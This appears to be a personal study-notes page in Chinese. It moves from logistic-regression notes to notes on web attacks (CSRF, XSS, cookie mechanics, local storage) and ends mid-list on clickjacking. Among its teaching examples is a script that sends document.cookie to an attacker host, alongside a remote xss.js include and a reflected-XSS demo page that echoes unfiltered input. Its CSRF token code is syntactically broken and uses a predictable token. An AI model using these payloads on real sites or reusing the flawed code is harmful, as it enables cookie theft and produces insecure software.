机器学习笔记
multiclass classification
y如果有多个可选值得话那么这就叫做multiclass classification 问题
例如y属于{0,1,2,3}
对于肿瘤的良性和恶性的分类
使用Threshold classifier
即为:如果大于0.5的话,那么这个预测值就是y = 1
如果小于等于 0.5的话,那么这个预测值就是y = 0
这不是一个很好的方法,所以不推荐线性回归做分类问题
开发一个新的算法叫做logistic regression逻辑回归方法
这种算法可以保持
0 <= h(x) <= 1
sigmoid function
logistic function
g(z) = 1/(1 + e^(-z))
z = θTx
hθ(x) = P(y = 1|x;θ) = 1 - P(y = 0|x;θ)
P(y = 0|x;θ) + P(y = 1|x;θ) = 1
Logistic regression
hθ(x) = g(θTx)
g(z)
由逻辑回归的函数可以看出,如果z大于等于0的时候g(z)是大于等于0.5的
给定一定的训练集合
hθ(x) = g(θ0 + θ1x1 + θ2x2)
如果θTx大于等于0
Decision Boundary(决策边界)
Non-linear decision boundaries非线性决策边界
hθ(x) = g(θ0 + θ1x1 + θ2x2 + θ3x1^2 + θ4x2^2)
LogisticRegression Cost Function
Cost(hθ(x(i)), y(i)) = 1/2 (hθ(x(i)) - y(i))^2
Simplified Cost Function and Gradient Descent
Advanced Optimization
One vs All
也称为One-vs-the Rest 方法来实现多分类,其将多分类问题转化为了多次二分类问题。假定完成 个分类
步骤如下:
- 1.轮流选中一种类型,将其视为正样本,即‘1’分类,剩下的都看做是负样本,即‘0’分类。
- 2.训练逻辑回归模型得到参数,即总共获得了 个决策边界
overfitting
过度拟合的发生原因是hθ(x)中x采用了太高次的冥
x的次数越高,拟合的越好,但是相应的预测能力就会变差。如果我们发现了过度拟合,我吗应该如何处理
英文词语
- asymptotes 收敛
web前端黑客攻击
CSRF攻击
全称:Cross-site request forgery 跨域请求伪造物
示例:攻击者在其他的某个网站页面中加入
<img \s\r\c="balahbalah">
,然后把这个资源发送给管理员。总之就是利用管理员做攻击者没有权限做的事情。
防御方式:
- 对referrer属性进行筛除
- 增加token验证
//后端内容
<?php
session_start();
function set_token() {
$_SESSION['token'] = md5(time() + rand(1,1000));
}
function check_token() {
if (isset($_POST['token']) && $_POST['token' === $_SESSION['token']) {
return true
} else {
return false
}
}
if (isset($_SESSION['token'])&&check_token()) {
echo 'sucess'
} else {
echo 'false'
}
?>
- 验证码验证:在敏感操作页面才需要添加验证码这一环节
Excess XSS 阅读笔记
1.恶意的javascript
首先,在受害者的浏览器中执行JavaScript的能力似乎并不是特别恶毒。毕竟,JavaScript在非常有限的环境中运行,对用户的文件和操作系统的访问非常有限。事实上,您现在可以打开浏览器的JavaScript控制台并执行所需的任何JavaScript,而且您不太可能对计算机造成任何损害。
但是,当您考虑以下事实时,JavaScript的恶意性变得更加清晰:
- 可以访问用户的敏感信息,例如Cookie。
- 可以通过使用XMLHttpRequest和其他主机将任意的内容的HTTP请求发送到任意的目的
- 使用DOM操作方法对html进行任意的修改
后果
- cookie盗窃
- 键盘记录:使用键盘事件监听器注册addEventListener,然后将所有用户的按键发送到服务器
- 网站钓鱼
实例(示例攻击场景)
注释:window.location:返回一个具有当前文档的位置的信息的
Location
对象。可以通过对location对象赋值直接改变当前文档的位置
攻击者通过xss咯东来窃取受害者的cookies。可以通过让受害者的浏览器解析一下的HTML代码:
<script>
window.location = 'http://attacker/?cookie='+ document.cookie
</script>
漏洞防护
- 特殊字符的HTML实体转码
- 标签事件属性的黑白名单
CSRF:跨站请求伪造
效果:借用目标用户的权限做一些借刀杀人的事情
Cookie重要的字段
[name][value][domain][expires][httponly][secure]
名称,值,所属域名,所属相对路径,过期时间,是否有Httponly标签,是否有secure标签。
HttpOnly Cookie 机制
Secure Cookie 机制
指设置了Secure标志的Cookie仅在HTTPS层面上安全传输,如果请求是http的,就不会带上这个Cookie,这样能够降低重要的cookie被中间人接货的风险。document.cookie="test_secure=hijack;path=/;secure;"
-
本地Cookie 与内存 Cookie
- 如果没有设置过期时间,就是内存Cookie,会随着浏览器的关闭而从内存中消失;
- 设置了过期时间,Cookie会以文本的形式保存在操作系统本地,待过期了才会消失。
攻击者可以给内存的Cookie加一个过期的时间,使其变为本地的Cookie。用户账户是否安全与服务端校验有关,包括中药的Cookie的唯一性(是否可预测),完整性(是否被篡改),过期等校验。
- 复杂的P3P(Cookie的P3P性质) 仅仅IE执行了该策略
用于标识是否允许 目标网站的Cookie 被另外一个域通过加载 目标网站 而设置或发送
例子:evil域(目标网站)通过script或iframe等方式加载foo域(第三方域),加载的时候,浏览器是否会容许foo域设置自己的Cookie,或是否容许发送请求到foo域时,带上foo域已有的Cookie。
- 设置Cookie
- 发送Cookie
- 最佳实践
本地存储
- Cookie:
- UserData: IE only
- localStorage:H5新增,如果仅仅存储在内存中,则是sessionStorage。Chrome是SQLite。localStorage并不会像Cookie那样设置数据存活的时限。也就是说,只要用户不主动删除,localStorage储存的数据将会永远的存在。
- local Database:浏览器本地DB,是sqlite
- Flash Cookie:Flash的本地共享对象,是跨浏览器的通用解决方案,
Javascript 函数劫持
- 对目标的函数触发之前,重写这个函数即可。
CSS
CSS容错性
XSS
概述
全称是:Cross Site Scripting,跨站脚本。重点在脚本。跨站实际上就是XSS攻击嵌入了一段远程的或者第三方域上的脚本资源。
<script src="http://www.assailant.com/xss.js"></script>
XSS 的分类
- 反射型XSS(非持久型XSS):简单的说,就是用户的信息提交到服务器,服务器解析后返回相应的内容,在相应内容的时候恶意代码被嵌入到页面,最后被浏览器解析执行。代码通过服务器响应直接在本地执行的,特点为一次性触发,所以称为反射型XSS。
- 存储型XSS(持久型XSS):攻击者通过注入恶意代码到服务端,其他用户浏览该页面时,恶意代码被原样输出客户端,触发恶意代码,因为恶意代码可以持久地保存在服务端,因而称为存储型XSS。
- DOM XSS:它和反射型XSS、存储型XSS的差别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。
- 步骤:
demo
下面是一个简单的demo,这里有一个简单的表单提交页面,提交后,服务器返回所提交的表单信息。(form.html为表单页面,check.php为服务器处理程序)
<!-- form.html -->
<!DOCTYPE html>
<html>
<head>
<title>XSS Test</title>
</head>
<body>
<center>
<form method="POST" action="check.php">
姓名:<input type="text" name="name" /><br/>
年龄:<input type="text" name="age" /><br/>
性别:<input type="text" name="sex" /><br/>
<input type="submit" name="submit" value="提交" />
</form>
</center>
</body>
</html>
//check.php
<?php
$name = $_POST['name'];
$age = $_POST['age'];
$sex = $_POST['sex'];
echo "<center>
您提交的信息如下:<br/>
姓名:$name<br/>
年龄:$age<br/>
性别:$sex<br/></center>";
?>
如果我们把姓名中添加恶意代码
<script>alert("code in here")</script>
那么这一段代码就会被执行。
出现该漏洞是由于服务器端没有对用户的输入进行任何过滤就将其返回给用户,导致攻击者可以插入任意脚本反射执行,虽然反射型好像只能用来自娱自乐,但是在大型的网站中,还是不能够轻易忽视的。
学习了一下Mac抓包神奇charles,但是在关闭电脑之前一定记得要stop recording,否则下次就别想打开电脑了。
charles中文教程
替换回车换行符号
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
分享:界面操作劫持
1.分类
- 点击劫持:劫持用户鼠标点击操作,